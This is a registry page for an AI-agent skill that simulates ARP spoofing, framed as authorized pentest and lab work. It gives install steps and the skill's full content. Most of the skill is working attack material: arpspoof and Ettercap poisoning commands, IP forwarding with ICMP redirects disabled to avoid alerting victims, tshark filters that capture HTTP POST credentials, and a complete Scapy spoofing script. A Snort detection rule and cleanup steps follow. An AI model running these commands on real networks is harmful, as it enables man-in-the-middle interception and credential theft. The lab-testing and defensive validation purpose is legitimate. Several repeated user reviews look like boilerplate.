Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-arp-spoofing-attack-simulationExecute the skills CLI command in your project's root directory to begin installation:
Fetches performing-arp-spoofing-attack-simulation from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-arp-spoofing-attack-simulation. Access via /performing-arp-spoofing-attack-simulation in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | performing-arp-spoofing-attack-simulation |
| description | 'Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures. ' |
| domain | cybersecurity |
| subdomain | network-security |
| tags | - network-security - arp-spoofing - mitm - ettercap - layer2-attack |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 |
Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0
# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1
# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""Resolve IP to MAC address via ARP request."""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""Send spoofed ARP reply to target."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""Restore legitimate ARP entries."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)
if __name__ == "__main__":
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
iface = "eth0"
target_mac = get_mac(target_ip, iface)
gateway_mac = get_mac(gateway_ip, iface)
if not target_mac or not gateway_mac:
print("[!] Could not resolve MAC addresses. Exiting.")
sys.exit(1)
print(f"[*] Target: {target_ip} ({target_mac})")
print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")
try:
packets_sent = 0
while True:
spoof(target_ip, gateway_ip, target_mac, iface)
spoof(gateway_ip, target_ip, gateway_mac, iface)
packets_sent += 2
print(f"\r[*] Packets sent: {packets_sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
print("[*] ARP tables restored. Exiting.")
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC
# Check IDS/SIEM for ARP spoofing alerts
# Snort rule that should trigger:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)
# Stop the attack and restore ARP tables
# Ctrl+C on arpspoof/ettercap sessions
# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Manually restore ARP entries on affected hosts (if needed)
# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50
# Verify legitimate MAC addresses are restored
arp -a
| Term | Definition |
|---|---|
| ARP Cache Poisoning | Technique of sending fraudulent ARP replies to associate the attacker's MAC address with another host's IP address in the target's ARP cache |
| Gratuitous ARP | ARP reply sent without a corresponding request, used by ARP spoofing tools to update a target's ARP cache with false entries |
| Dynamic ARP Inspection (DAI) | Switch-level security feature that validates ARP packets against the DHCP snooping binding database and drops invalid ARP traffic |
| IP Forwarding | Kernel-level setting that allows a host to relay packets between network interfaces, required for transparent man-in-the-middle interception |
| DHCP Snooping | Switch security feature that builds a trusted binding table of IP-to-MAC-to-port mappings, serving as the foundation for DAI validation |
Context: A network team deployed Cisco DAI on all access-layer switches and needs to validate that ARP spoofing attempts are properly detected and blocked. The test is authorized on a dedicated VLAN (VLAN 100) with three test hosts and one attacker machine connected to the same switch.
Approach:
show ip arp inspection statistics vlan 100Pitfalls:
## ARP Spoofing Simulation Report
**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)
### Test Results
| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |
### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes
### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
performing-arp-spoofing-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Keeps context tight: performing-arp-spoofing-attack-simulation is the kind of skill you can hand to a new teammate without a long onboarding doc.
Useful defaults in performing-arp-spoofing-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
performing-arp-spoofing-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in performing-arp-spoofing-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Registry listing for performing-arp-spoofing-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
Registry listing for performing-arp-spoofing-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: performing-arp-spoofing-attack-simulation is focused, and the summary matches what you get after install.
I recommend performing-arp-spoofing-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
performing-arp-spoofing-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
showing 1-10 of 66